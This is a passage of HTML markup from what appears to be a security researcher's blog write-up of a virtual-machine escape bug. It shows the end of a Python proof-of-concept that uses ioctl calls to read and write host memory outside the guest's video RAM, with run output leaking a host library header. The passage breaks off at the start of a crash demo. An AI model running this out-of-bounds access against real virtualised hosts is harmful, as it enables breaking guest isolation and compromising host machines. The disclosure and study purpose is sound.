class=\"crayon-h\"> <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;IIq&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">payload<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-21\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fcntl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-22\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">get_vram_size<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;IIq&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\u0000&#8217;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;b&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fcntl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">unpack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;&lt;I&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-30\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">vram_sz<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">get_vram_size<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-32\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e369273631622-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">code<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e369273631622-34\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">code<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">interact<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">local<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">locals<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0037 seconds] -->  <\/p>\n<p>If we will run it on  a Linux host we will get the following:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e36c653763214\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     $ python2 poc.py      [&#8230;]      &gt;&gt;&gt; read(0, 0x10).tostring()      &#8216;U,\\fU,\\fU,\\fU,\\f&#8217;      &gt;&gt;&gt; read(vram_sz, 0x10).tostring()      &#8216;x7fELFx02x01x01x00x00x00x00x00x00x00x00x00&#8217;      &gt;&gt;&gt; read(-0x1000, 0x10).tostring()      &#8216;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8217;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36c653763214-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36c653763214-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36c653763214-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36c653763214-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36c653763214-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36c653763214-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36c653763214-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36c653763214-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36c653763214-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">python2 <\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">py<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36c653763214-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36c653763214-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tostring<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36c653763214-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;U,\\fU,\\fU,\\fU,\\f&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36c653763214-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">vram_sz<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tostring<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36c653763214-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;x7fELFx02x01x01x00x00x00x00x00x00x00x00x00&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36c653763214-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">0x1000<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tostring<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36c653763214-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00&#8217;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0009 seconds] -->  <\/p>\n<p>The second read returns the header of the shared library mapped directly after the VRAM.<\/p>\n<p>Of course we might crash the VM if we hit unmapped memory.<\/p>\n<p>For demonstrating an absolute read\/write, we need the VRAM base address on the host.<\/p>\n<p>The findvram.py script find the VRAM base address &#8211; given the configured VRAM size.<\/p>\n<p>In our case the VRAM is 33 MiB large. <\/p>\n<p>The first argument is the PID of the host process (as shown above). <\/p>\n<p>Also grab some absolute address you want to leak:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e36f802734287\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     $ sudo python2 findvram.py 23791 33      VRAM @ 0x00007f1651c75000      $ sudo cat \/proc\/23791\/maps | grep libcurl | head -n 1      7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634                    \/usr\/lib\/libcurl.so.4.4.0<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36f802734287-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36f802734287-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e36f802734287-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e36f802734287-4\">4<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36f802734287-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-e\">python2 <\/span><span class=\"crayon-v\">findvram<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">py<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">23791<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">33<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36f802734287-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">VRAM<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007f1651c75000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e36f802734287-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">proc<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">23791<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maps<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">grep <\/span><span class=\"crayon-v\">libcurl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">head<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">n<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e36f802734287-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">7f168969c000<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">7f1689716000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">xp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">9032634<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libcurl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">so<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">4.4.0<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>Back to the VM, we will read the ELF header of this library:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e371868760084\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">  $ python2 poc.py      [&#8230;]      &gt;&gt;&gt; vram = 0x00007f1651c75000      &gt;&gt;&gt; read(0x7f168969c000 &#8211; vram, 0x10).tostring()      &#8216;x7fELFx02x01x01x00x00x00x00x00x00x00x00x00&#8217;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e371868760084-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e371868760084-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e371868760084-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e371868760084-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e371868760084-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e371868760084-1\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">python2 <\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">py<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e371868760084-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e371868760084-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x00007f1651c75000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e371868760084-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x7f168969c000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vram<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tostring<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e371868760084-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;x7fELFx02x01x01x00x00x00x00x00x00x00x00x00&#8217;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>And now we will crash it by writing data to an unmapped address (make sure a debugger is attached):<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e373208937336\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 